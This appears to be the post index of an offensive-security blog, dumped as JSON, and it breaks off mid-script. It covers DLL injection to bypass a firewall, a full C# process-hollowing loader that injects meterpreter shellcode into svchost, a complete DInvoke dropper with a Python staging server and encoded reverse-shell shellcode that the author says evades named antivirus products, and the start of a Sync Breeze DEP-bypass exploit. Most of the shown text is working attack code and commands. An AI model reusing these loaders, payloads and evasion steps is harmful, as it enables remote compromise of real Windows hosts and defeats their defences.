a rule which allows outbound connections, the reverse shell would be established without warning at all.\nBack on the attacker\u0026rsquo;s system we have a reverse shell:\n","date":"26 August 2023","externalUrl":null,"permalink":"/posts/bypass-interactive-firewalls-using-dll-injection/","section":"Posts","summary":"Injecting into an already-trusted process so the interactive firewall never raises a prompt.","title":"Bypass (Interactive) Firewalls using DLL Injection","type":"posts"},{"content":"","date":"26 August 2023","externalUrl":null,"permalink":"/tags/cpp/","section":"Tags","summary":"","title":"C++","type":"tags"},{"content":"","date":"26 August 2023","externalUrl":null,"permalink":"/tags/dll-injection/","section":"Tags","summary":"","title":"DLL Injection","type":"tags"},{"content":"","date":"26 August 2023","externalUrl":null,"permalink":"/tags/firewall-bypass/","section":"Tags","summary":"","title":"Firewall Bypass","type":"tags"},{"content":"","date":"26 August 2023","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","date":"1 August 2023","externalUrl":null,"permalink":"/tags/malware/","section":"Tags","summary":"","title":"Malware","type":"tags"},{"content":"Process Hollowing is a relatively old technique that can be used to bypass firewalls, application whitelist/blacklists and antivirus systems. Similar to remote DLL/Code injection techniques, an attacker can use process hollowing to execute arbitrary code from the address space of a target process. Process Hollowing however, has some advantages over traditional process code injection. For example, with traditional code injection the attacker must choose a target process that runs on the same or lower integrity level and then call CreateRemoteThread which is considered malicious by many AV’s these days. With process hollowing we can start any process (even svchost which is normally run only with SYSTEM privileges and will just close if started as a normal user) in a suspended state and inject our own shellcode on the EntryPoint of the process. As a bonus, we can simply use ResumeThread to resume execution avoiding the usage of CreateRemoteThread.\nBasic Steps:\n1) Create a process in a suspended state by selecting the CREATE_SUSPENDED flag during process creation.\n2) While the process is in a suspended state, we will perform several Windows API calls and calculations in order to get the Entry Point of the newly created process.\n3) After determining the exact address of the Entry Point, we will use WriteProcessMemory to replace the original code with our shellcode.\n4) With our shellcode in place, we can call ResumeThread to resume execution of the process, effectively triggering the execution of our shellcode.\nHow to calculate the address of Entry Point on the suspended process:\n1) Using ZwQueryInformationProcess we can retrieve the PEB address of the suspended process.\n2) From the PEB we can obtain the base address of the process and then use it to parse the PE headers in order to locate the Entry Point. A more detailed, but still high-level overview, can be seen below:\nAfter obtaining the PEB address, we can get the value of the base address of the process beacuse it is located on the 0x10 offset of PEB.\nFrom the base address we have just obtained, we can read the value at offset 0x3C in order to determine the offset of the PE Headers from the base address of the process.\noffset_of_pe_headers = data_in:[base_address + 0x3C]\n(pe_headers_address = base_address + offset_of_pe_headers)\nNow that we have calculated the address of the PE Headers section, we can read the Entry Point Relative Virtual Address (Entry_Point_Offset) located at offset 0x28 from the PE headers. In this address we can find a value that is the offset of the Entry Point, meaning that by adding this value to the base address of the process, we can get the absolute direct address of the entry point and therefore the address where we need to write our shellcode.\nusing System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; namespace Hollow { class Program { [StructLayout(LayoutKind.Sequential)] struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; } [StructLayout(LayoutKind.Sequential)] struct STARTUPINFO { public uint cb; public IntPtr lpReserved; public IntPtr lpDesktop; public IntPtr lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [DllImport(\u0026#34;kernel32.dll\u0026#34;, SetLastError = true)] static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr Reserved4; } internal enum PROCESS_INFORMATION_CLASS { ProcessBasicInformation = 0, ProcessDebugPort = 7, ProcessWow64Information = 26, ProcessImageFileName = 27, ProcessBreakOnTermination = 29, ProcessSubsystemInformation = 75 } [DllImport(\u0026#34;ntdll.dll\u0026#34;, SetLastError = true)] static extern UInt32 ZwQueryInformationProcess( IntPtr hProcess, PROCESS_INFORMATION_CLASS procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen); [DllImport(\u0026#34;kernel32.dll\u0026#34;, SetLastError = true)] static extern bool ReadProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); [DllImport(\u0026#34;kernel32.dll\u0026#34;, SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); [DllImport(\u0026#34;kernel32.dll\u0026#34;, SetLastError = true)] static extern uint ResumeThread(IntPtr hThread); static void Main(string[] args) { string CommandLine = @\u0026#34;C:\\\\Windows\\\\System32\\\\svchost.exe\u0026#34;; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); STARTUPINFO si = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); //Note the sixth value of 0x4 which corresponds to CREATE_SUSPENDED //According to https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags: //\u0026#34;The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.\u0026#34; bool retValue = CreateProcess(null, CommandLine, ref pSec, ref tSec, false, 0x4, IntPtr.Zero, null, ref si, out pi); PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; //The third argument, bi (PROCESS_BASIC_INFORMATION) structure, will be populated with the PEB address ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); //This is a pointer to the location where the process base address is stored IntPtr PtrToProcBase = (IntPtr)((Int64)bi.PebAddress + 0x10); //We read the value pointed to by PtrToProcBase in order to get the process base address byte[] tempbuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, PtrToProcBase, tempbuf, tempbuf.Length, out nRead); IntPtr targetProcBase = (IntPtr)(BitConverter.ToInt64(tempbuf, 0)); //We add 0x3C to the base address and read the value in order to get the offset of the PE headers from the process base address byte[] tempbuf1 = new byte[IntPtr.Size]; ReadProcessMemory(hProcess, targetProcBase + 0x3C, tempbuf1, tempbuf1.Length, out nRead); Int32 OffsetOfPEHeaders = BitConverter.ToInt32(tempbuf1, 0); // We add 0x28 to the PE headers and read the value in order to get the offset of the entry point byte[] tempbuf2 = new byte[IntPtr.Size]; ReadProcessMemory(hProcess, targetProcBase + OffsetOfPEHeaders + 0x28, tempbuf2, tempbuf2.Length, out nRead); uint OffsetOfEntryPoint = BitConverter.ToUInt32(tempbuf2, 0); //Now that we have the offset of the EntryPoint we can add it to the process base address to get the absolute address IntPtr pEntryPoint = (IntPtr)(OffsetOfEntryPoint + (UInt64)targetProcBase); // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 -f csharp // Truncated byte[] buf = new byte[751] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x48, 0x31, 0xd2, 0x51, 0x56, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0xff, 0xd5 }; //Write the shellcode to the entry point of the suspended process WriteProcessMemory(hProcess, pEntryPoint, buf, buf.Length, out nRead); //Resume thread will essentially invoke the shellcode ResumeThread(pi.hThread); } } } https://github.com/k4z01/ProcessHollowing\nBy running the above code we obtain a meterpreter session that runs from the svchost process:\n","date":"1 August 2023","externalUrl":null,"permalink":"/posts/process-hollowing-explained/","section":"Posts","summary":"A step-by-step walkthrough of how process hollowing actually works.","title":"Process Hollowing [Explained]","type":"posts"},{"content":"","date":"1 August 2023","externalUrl":null,"permalink":"/tags/windows-internals/","section":"Tags","summary":"","title":"Windows Internals","type":"tags"},{"content":"As of 30-07-2023 this results on an undetected Meterpreter session [at least] against the following products with default installation settings:\n• Windows Defender\n• Avira Internet Security\n• AVG Antivirus Free\n• ESET Smart Security\nDuring my preparation for OSEP (haven\u0026rsquo;t signed up for the course yet), I came accross several AV evasion techniques and ideas, including the DInvoke project from TheWover https://github.com/TheWover/DInvoke (credits: The Wover, FuzzySec (b33f), cobbr). This project allows dynamic invocation of unmanaged code from memory, so AVs cannot place hooks on API calls or determine the calls used by the application by scanning the static imports. You can read more about it on the original post here: https://thewover.github.io/Dynamic-Invoke/ or watch the original presentation here: https://youtu.be/FuxpMXTgV9s\nBased on DInvoke, we will create a C# dropper that receives an encoded stager shellcode from a remote server and then use Manual Mapping of kernel32.dll and Dynamic Invocation of Win32 APIs in order to execute it. The shellcode will then establish an RC4 encrypted meterpreter session. Let\u0026rsquo;s begin.\nPython stager server # Start by generating the first stage shellcode with the command shown below:\nmsfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=eth0 LPORT=443 -e x64/xor -f py The resulting shellcode can be served on port 8080 using a python server. First, we determine the size of the shellcode so our dropper knows how much data to receive from the stream and how much data to allocate for the buffer. Then we simply send the size, followed by the payload.\nThe python server script can be seen below. Note that we can also generate the metasploit payload dynamically from within the script.\nimport socket import subprocess #msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=eth0 LPORT=443 -e x64/xor -f py buf = b\u0026#34;\u0026#34; buf += b\u0026#34;\\x48\\x31\\xc9\\x48\\x81\\xe9\\xae\\xff\\xff\\xff\\x48\\x8d\u0026#34; buf += b\u0026#34;\\x05\\xef\\xff\\xff\\xff\\x48\\xbb\\xef\\x8d\\xae\\x0a\\xb3\u0026#34; buf += b\u0026#34;\\x73\\x37\\x93\\x48\\x31\\x58\\x27\\x48\\x2d\\xf8\\xff\\xff\u0026#34; buf += b\u0026#34;\\xff\\xe2\\xf4\\x13\\xc5\\x2d\\xee\\x43\\x9b\\xfb\\x93\\xef\u0026#34; buf += b\u0026#34;\\x8d\\xef\\x5b\\xf2\\x23\\x65\\xdb\\xde\\x5f\\xcb\\x42\\x38\u0026#34; buf += b\u0026#34;\\x21\\x57\\xdb\\x64\\xdf\\xb6\\x42\\x38\\x21\\x17\\xc2\\xb9\u0026#34; buf += b\u0026#34;\\xc0\\x9f\\xc3\\xfb\\x7c\\x80\\xd9\\xa5\\xc5\\x25\\x78\\xe3\u0026#34; buf += b\u0026#34;\\x3b\\x06\\x53\\x43\\xb1\\xcf\\x76\\xb1\\x5f\\x17\\xd2\\x2e\u0026#34; buf += b\u0026#34;\\x44\\xa3\\x4b\\xb2\\xb2\\xd5\\x7e\\xbd\\xcc\\xff\\x42\\x38\u0026#34; buf += b\u0026#34;\\x21\\x17\\x18\\xad\\xb1\\xe6\\x0b\\x63\\x15\\xb6\\xeb\\xf7\u0026#34; buf += b\u0026#34;\\x86\\xac\\x05\\x36\\x01\\x37\\x93\\xef\\x06\\x2e\\x82\\xb3\u0026#34; buf += b\u0026#34;\\x73\\x37\\xdb\\x6a\\x4d\\xda\\x6d\\xfb\\x72\\xe7\\xc3\\xab\u0026#34; buf += b\u0026#34;\\x06\\xee\\x2a\\x38\\x3b\\x2f\\xda\\xee\\x5d\\x4d\\x5c\\xfe\u0026#34; buf += b\u0026#34;\\x42\\xfe\\xdb\\x10\\x44\\xef\\x81\\x87\\xfb\\x7f\\x92\\x39\u0026#34; buf += b\u0026#34;\\xc5\\x9f\\xca\\xf2\\xb2\\xfe\\x9e\\x43\\xcc\\xaf\\xcb\\x8b\u0026#34; buf += b\u0026#34;\\x93\\x42\\x62\\xa3\\x8e\\xe2\\x2e\\xbb\\x36\\x0e\\x42\\x9a\u0026#34; buf += b\u0026#34;\\x55\\xf6\\x4e\\x38\\x33\\x13\\xda\\xee\\x5d\\xc8\\x4b\\x38\u0026#34; buf += b\u0026#34;\\x7f\\x7f\\xd7\\x64\\xcd\\xb2\\x43\\xb2\\xa3\\x76\\x18\\xeb\u0026#34; buf += b\u0026#34;\\x05\\xef\\x52\\xfb\\x72\\xe7\\xd2\\xb7\\xd3\\xf7\\x50\\xf2\u0026#34; buf += b\u0026#34;\\x2b\\x76\\xca\\xae\\xd7\\xe6\\x89\\x5f\\x53\\x76\\xc1\\x10\u0026#34; buf += b\u0026#34;\\x6d\\xf6\\x4b\\xea\\x29\\x7f\\x18\\xfd\\x64\\xe5\\xf5\\x4c\u0026#34; buf += b\u0026#34;\\x8c\\x6a\\xda\\x51\\xfa\\xdd\\x38\\xec\\x40\\x05\\x93\\xef\u0026#34; buf += b\u0026#34;\\xcc\\xf8\\x43\\x3a\\x95\\x7f\\x12\\x03\\x2d\\xaf\\x0a\\xb3\u0026#34; buf += b\u0026#34;\\x3a\\xbe\\x76\\xa6\\x31\\xac\\x0a\\xb2\\xc8\\xf7\\x3b\\xa8\u0026#34; buf += b\u0026#34;\\x0c\\xef\\x5e\\xfa\\xfa\\xd3\\xdf\\x66\\x7c\\xef\\xb0\\xff\u0026#34; buf += b\u0026#34;\\x04\\x11\\x94\\x10\\x58\\xe2\\x83\\x59\\x1b\\x36\\x92\\xef\u0026#34; buf += b\u0026#34;\\x8d\\xf7\\x4b\\x09\\x5a\\xb7\\xf8\\xef\\x72\\x7b\\x60\\xb9\u0026#34; buf += b\u0026#34;\\x32\\x69\\xc3\\xbf\\xc0\\x9f\\xc3\\xfe\\x42\\xf7\\xdb\\x10\u0026#34; buf += b\u0026#34;\\x4d\\xe6\\x83\\x71\\x3b\\xc8\\x53\\xa7\\x04\\x6f\\x4b\\x09\u0026#34; buf += b\u0026#34;\\x99\\x38\\x4c\\x0f\\x72\\x7b\\x42\\x3a\\xb4\\x5d\\x83\\xae\u0026#34; buf += b\u0026#34;\\xd5\\xe2\\x83\\x51\\x3b\\xbe\\x6a\\xae\\x37\\x37\\xaf\\xc7\u0026#34; buf += b\u0026#34;\\x12\\xc8\\x46\\x6a\\x4d\\xda\\x00\\xfa\\x8c\\xf9\\xe6\\x0a\u0026#34; buf += b\u0026#34;\\x65\\xb1\\x0b\\xb3\\x73\\x7f\\x10\\x03\\x9d\\xe6\\x83\\x51\u0026#34; buf += b\u0026#34;\\x3e\\x06\\x5a\\x85\\x89\\xef\\x52\\xfb\\xfa\\xce\\xd2\\x55\u0026#34; buf += b\u0026#34;\\x8f\\x77\\xc2\\xec\\x8c\\xe2\\x10\\x17\\x8d\\xa1\\x84\\xde\u0026#34; buf += b\u0026#34;\\x73\\x37\\x93\\xa7\\x0e\\x6a\\x2a\\xed\\xfa\\xc1\\x12\\x19\u0026#34; buf += b\u0026#34;\\x2d\\xab\\xa8\\x60\\x3f\\xba\\x0d\\xef\\x8c\\xae\\x0a\\xd9\u0026#34; buf += b\u0026#34;\\x33\\x76\\xca\\x87\\x8d\\xbe\\x0a\\xb3\\x32\\x6f\\xdb\\x66\u0026#34; buf += b\u0026#34;\\x7f\\xe6\\x3b\\x7a\\x32\\x8d\\xcb\\x4b\\xde\\x4b\\xf5\\x66\u0026#34; buf += b\u0026#34;\\x3b\\xba\\x0b\\xef\\x8c\\xae\\x0a\\xfa\\xfa\\xe8\\xc0\\xb9\u0026#34; buf += b\u0026#34;\\xdd\\xe3\\x3b\\x7a\\x3a\\xbe\\x63\\xa7\\x04\\x74\\x42\\x3a\u0026#34; buf += b\u0026#34;\\x8a\\x76\\x29\\xed\\x54\\x66\\x55\\x4c\\xa6\\x7f\\x10\\x2b\u0026#34; buf += b\u0026#34;\\xad\\x2d\\xf2\\xb3\\x0e\\x1f\\xcb\\xae\\xda\\xf7\\x62\\xb3\u0026#34; buf += b\u0026#34;\\x33\\x37\\x93\\xae\\xd5\\xc4\\x0a\\xe9\\x32\\x8d\\x98\\xc0\u0026#34; buf += b\u0026#34;\\x82\\x9e\\xf5\\x66\\x24\\x6e\\xd2\\x55\\xf8\\xc0\\x47\\xd2\u0026#34; buf += b\u0026#34;\\x8c\\xe2\\xda\\x10\\x43\\x47\\x2a\\x4c\\x8c\\xc8\\xdb\\xee\u0026#34; buf += b\u0026#34;\\x4e\\xe6\\x23\\x75\\x06\\x84\\xda\\x66\\x73\\xf1\\x53\\xf2\u0026#34; buf += b\u0026#34;\\x2a\\x76\\xc5\\x07\\x9d\\xae\\x0a\\xb3\\x47\\x1d\\xfb\\x91\u0026#34; buf += b\u0026#34;\\x2f\\x7e\\x59\\xd3\\xba\\x64\\x83\\x95\\x46\\x46\\x34\\xbb\u0026#34; buf += b\u0026#34;\\x2d\\x7f\\xa2\\x2f\\xc4\\x27\\xf2\\x19\\x8d\\xf7\\xe6\\x14\u0026#34; buf += b\u0026#34;\\xc5\\x9f\\xd1\\xf2\\x71\\x2b\\x93\\xa7\\x04\\x6c\\x8a\\x51\u0026#34; buf += b\u0026#34;\\x7c\\x35\\x8f\\xf9\\xcc\\x24\\x1e\\xb3\\x32\\xb1\\x87\\xf7\u0026#34; buf += b\u0026#34;\\xcc\\x26\\x1e\\xb3\\x8d\\xf7\\xe6\\x0c\\xc5\\x9f\\xd1\\x4d\u0026#34; buf += b\u0026#34;\\xb3\\x76\\x91\\xf3\\x8d\\xef\\x80\\xa7\\x73\\x76\\x15\\xfb\u0026#34; buf += b\u0026#34;\\x95\\xef\\x82\\xa7\\x73\\x76\\x91\\xfb\\x95\\xef\\x80\\xa7\u0026#34; buf += b\u0026#34;\\x63\\x76\\xa3\\xfe\\xc4\\x51\\xcb\\xfb\\x8c\\xfe\\xe6\\x34\u0026#34; buf += b\u0026#34;\\xd2\\xef\\xf5\\x54\\x2b\\x5d\\x93\\xb6\\xc4\\x69\\xc8\\x43\u0026#34; buf += b\u0026#34;\\xc6\\x95\\xc5\\x10\\x58\\xae\\x0a\\xb3\\x73\\x37\\x93\u0026#34; #OR #buf = (subprocess.check_output([\u0026#39;msfvenom\u0026#39;,\u0026#39;-p\u0026#39;,\u0026#39;windows/x64/meterpreter/reverse_tcp_rc4\u0026#39;,\u0026#39;LHOST=eth0\u0026#39;, \u0026#39;LPORT=443\u0026#39;, \u0026#39;-e\u0026#39;, \u0026#39;x64/xor\u0026#39;, \u0026#39;-i\u0026#39;, \u0026#39;30\u0026#39;, \u0026#39;-f\u0026#39;, \u0026#39;raw\u0026#39;])) print(\u0026#34;-\u0026#34;*80) print(\u0026#39;msfconsole -x \u0026#34;use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp_rc4; set lport 443; set lhost eth0; set exitonsession false; exploit -j\u0026#34;\u0026#39;) print(\u0026#34;-\u0026#34;*80) print(\u0026#34;Size of stager shellcode: \u0026#34; + str(len(buf))) stgrSize = len(buf).to_bytes(4, \u0026#39;little\u0026#39;) HOST = \u0026#34;0.0.0.0\u0026#34; PORT = 8080 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() conn, addr = s.accept() with conn: print(f\u0026#34;Got connection from {addr}\u0026#34;) while True: data = stgrSize + buf conn.sendall(data) except: pass The script shown above can run on Kali, in parallel with a metasploit listener which can be started using the following command:\nmsfconsole -x \u0026#34;use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp_rc4; set lport 443; set lhost eth0; set exitonsession false; exploit -j\u0026#34; C# Dropper # Start by creating a new C# Console Application (.NET Framework) in Visual Studio.\nIn order to use the DInvoke functionality we will add Rastamouse\u0026rsquo;s DInvoke to the project. The reason we are using Rastamouse\u0026rsquo;s version of DInvoke is that it does not contain several features that we wouldn\u0026rsquo;t use anyway and therefore it lowers the detection surface which is exactly what we are trying to achieve.\nRight click the solution, select \u0026ldquo;New Folder\u0026rdquo; and name it \u0026ldquo;DInvoke\u0026rdquo;. Next right click on the new folder and select \u0026ldquo;Add\u0026rdquo; -\u0026gt; \u0026ldquo;Existing Project…\u0026rdquo; and select the corresponding project file on each of the folders contained in Rastamouse\u0026rsquo;s github repo (DInvoke.Data, DInvoke.ManualMap, DInvoke.DynamicInvoke):\nNext, right click the Stager project and click \u0026ldquo;Add\u0026rdquo; -\u0026gt; \u0026ldquo;Reference…\u0026rdquo; and add a reference for each of the DInvoke projects:\nFinally click \u0026ldquo;OK\u0026rdquo;. Now we are ready to use the DInvoke methods in our project. The dropper code can be seen below. There are comments on the code to explain the steps.\nusing System; using System.Collections.Generic; using System.Linq; using System.Net.Sockets; using System.Net; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using DInvoke.DynamicInvoke; using DInvoke.Data; using System.Diagnostics.Eventing.Reader; namespace Stager { internal class Program { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAllocD(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr CreateThreadD(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); static void Main(string[] args) { string lIP = args[0]; int lPort = int.Parse(args[1]); IPAddress ipAddress = IPAddress.Parse(lIP); var ipEndPoint = new IPEndPoint(ipAddress, lPort); //Connect to the python listening server TcpClient client = new TcpClient(); client.Connect(ipEndPoint); NetworkStream stream = client.GetStream(); //Receive the size of the first stage payload var buffer = new byte[4]; int readSize = 0; while (readSize \u0026lt; 4) { int bytesRead = stream.Read(buffer, readSize, 4 - readSize); if (bytesRead == 0) { throw new Exception(\u0026#34;Connection closed before size was received.\u0026#34;); } readSize += bytesRead; } Int32 stgrSize = BitConverter.ToInt32(buffer, 0); //Receive the stager shellcode byte[] buf = new byte[stgrSize]; int totalRead = 0; while (totalRead \u0026lt; buf.Length) { int bytesRead = stream.Read(buf, totalRead, buf.Length - totalRead); if (bytesRead == 0) { throw new Exception(\u0026#34;Connection closed before full payload was received.\u0026#34;); } totalRead += bytesRead; } //Map kernel32.dll to memory PE.PE_MANUAL_MAP kern32DLL = new PE.PE_MANUAL_MAP(); kern32DLL = DInvoke.ManualMap.Map.MapModuleToMemory(@\u0026#34;C:\\Windows\\System32\\kernel32.dll\u0026#34;); //Call VirtualAlloc to reserve memory for the shellcode object[] vaparameters = { IntPtr.Zero, (UInt32)buf.Length, (UInt32)0x3000, (UInt32)0x40 }; IntPtr addr = (IntPtr)Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;VirtualAlloc\u0026#34;, typeof(VirtualAllocD), vaparameters, false); //Copy the stager shellcode to the allocated memory Marshal.Copy(buf, 0, addr, buf.Length); //Invoke the stager shellcode object[] ctparameters = { IntPtr.Zero, (UInt32)0, addr, IntPtr.Zero, (UInt32)0, IntPtr.Zero }; IntPtr hThread = (IntPtr)Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;CreateThread\u0026#34;, typeof(CreateThreadD), ctparameters, false); Console.ReadLine(); } } } Before building the dropper, we will also use the Costura.Fody NuGet package in order to package the necessary DInvoke DLLs within our executable, so it can run independendly. Bring up the package manager console in Visual Studio (\u0026ldquo;Tools\u0026rdquo; -\u0026gt; \u0026ldquo;NuGet Package Manager\u0026rdquo; -\u0026gt; \u0026ldquo;Package Manager Console\u0026rdquo;) and run the following command:\nInstall-Package Costura.Fody Once the installation is finished, Costura.Fody will automatically place the DLLs within the final executable file on each build.\nLast step is to change the building architecture to x64.\nWe can go ahead and build the project. The final executable can be found on \u0026ldquo;[Project Directory]\\bin\\x64\\Release\\Stager.exe\u0026rdquo;\nTesting # On the attacker\u0026rsquo;s machine, make sure to start the python3 script and the metasploit listener as shown below:\nTransfer the stager executable to the target host. Windows Defender is fully updated and the file stays undetected.\nRun the stager providing the listening python server IP and port as arguments:\nThe dropper connects to the python server to retrieve the shellcode and moments later we get a fully functioning Meterpreter session:\nhttps://github.com/k4z01/MSFStager-DInvoke\nCredits # The Wover, FuzzySec (b33f), cobbr, Rasta Mouse\n","date":"29 July 2023","externalUrl":null,"permalink":"/posts/dinvoke-two-stage-payload-and-rc4-in-meterpreter/","section":"Posts","summary":"A Python staging server plus a C# DInvoke dropper that pulls an RC4-encrypted second stage and lands an undetected session.","title":"DInvoke, two-stage payload and RC4 in Meterpreter","type":"posts"},{"content":"","date":"29 July 2023","externalUrl":null,"permalink":"/tags/rc4/","section":"Tags","summary":"","title":"RC4","type":"tags"},{"content":"","date":"1 January 2023","externalUrl":null,"permalink":"/tags/dep-bypass/","section":"Tags","summary":"","title":"DEP Bypass","type":"tags"},{"content":"","date":"1 January 2023","externalUrl":null,"permalink":"/tags/exploit-dev/","section":"Tags","summary":"","title":"Exploit Dev","type":"tags"},{"content":"","date":"1 January 2023","externalUrl":null,"permalink":"/tags/rop/","section":"Tags","summary":"","title":"ROP","type":"tags"},{"content":"During preparation for the OSED certification, one of the challenges was to exploit the buffer overflow vulnerability in Sync Breeze Enterprise 10.0.28 with DEP enabled to obtain a shell on the target system. While there are different ways to approach this challenge, I thought it would be a nice opportunity to practice ROP and create an exploit that would be independent of the operating system version and based only on libraries included within this application version.\nTo make it more interesting we\u0026rsquo;ll consider DEP enabled on all modules and ASLR enabled on all modules except for libspp.dll. Our goal will be to call VirtualAlloc to change the memory protections on the shellcode on the stack and eventually return to it to execute it and obtain our shell. The most interesting part in this process is how to obtain the address of VirtualAlloc dynamically using ROP and without relying on operating system specific offsets.\nSince the null byte is a bad character, our ROP chain has to start from the libspp.dll module:\nHowever, this module does not seem to use any of the functions that would allow us to bypass DEP and execute our shellcode, such as WriteProcessMemory, VirtualAlloc, VirtualProtect, etc.\nIt does not use LoadLibraryA either. It does, however, reference libpal.dll, which is part of the same version of the application. Interestingly enough, libpal.dll does not use WriteProcessMemory, VirtualAlloc, or VirtualProtect either. It does, however, use LoadLibraryA and GetProcAddress.\nSo here is the plan: Using ROP based on libspp.dll, we will dereference any function it imports from libpal.dll. After getting the dereferenced address, based on its offset we can craft the address of LoadLibraryA at the IAT of libpal.dll. Then we can dereference that address to get the address of LoadLibraryA in kernel32.dll and call it passing the name of the DLL (kernel32.dll). By doing so we can obtain the base of kernel32.dll. Remember, it\u0026rsquo;s not enough to use the offset of LoadLibraryA to obtain the base of kernel32.dll because then our exploit will only work against systems that have the exact same version of kernel32.dll. Next we will dereference GetProcAddress at the IAT of libpal.dll to get the address of GetProcAddress. Finally we will be able to call GetProcAddress passing the base of kernel32.dll and the name of our desired function (here VirtualAlloc) as arguments to obtain the address of VirtualAlloc. Eventually we\u0026rsquo;ll call VirtualAlloc to make the stack area with our shellcode executable.\nThis might seem like too much work, but in this case there are a few things that will aid us:\nThe DLL we will be using to obtain the gadgets libspp.dll is relatively large, so we should have plenty of gadgets to work with. Once we have identified gadgets for basic operations, such as getting a reference to ESP, dereferencing addresses in a controlled manner, adding/subtracting offsets while avoiding bad chars, restoring ESP, etc. we should be able to reuse them to set up each function call. In this case we have plenty of space for our shellcode and a large ROP chain on the stack, so we don\u0026rsquo;t have to worry about minimizing our input. Helper Script # While practising for OSED, I used the following script to quickly attach to the process, add the breakpoints and send the input. This can help to speed up the development process dramatically.\nWe can quickly change the variable in line 117 to determine whether we want to attach WinDbg or just send the buffer (e.g. in case the app is already running in WinDbg because it didn\u0026rsquo;t crash). We can add our breakpoints in line 73 directly from the script. We can choose the layout we want to use based on name from line 54. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 import socket import time import subprocess from struct import * server = \u0026#34;127.0.0.1\u0026#34; port = 80 bad_bytes = b\u0026#34;\\x00\\x0a\\x0d\\x25\\x26\\x3d\u0026#34; process_name = \u0026#34;syncbrs.exe\u0026#34; service_name = \u0026#34;Sync Breeze Enterprise\u0026#34; def start_service_and_get_pid(): global service_name # Start the service subprocess.call( f\u0026#39;cmd /c sc start \u0026#34;{service_name}\u0026#34;\u0026#39;, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) # Poll until PID is available for _ in range(20): try: output = subprocess.check_output( f\u0026#39;cmd /c sc queryex \u0026#34;{service_name}\u0026#34;\u0026#39;, shell=True, stderr=subprocess.DEVNULL ).decode(errors=\u0026#34;ignore\u0026#34;) for line in output.splitlines(): if \u0026#34;PID\u0026#34; in line: pid = int(line.split(\u0026#34;:\u0026#34;)[1].strip()) return pid except: pass time.sleep(0.5) raise RuntimeError(\u0026#34;Failed to obtain service PID\u0026#34;) def start_process(): windbg = r\u0026#34;C:\\Program Files\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe\u0026#34; pid = 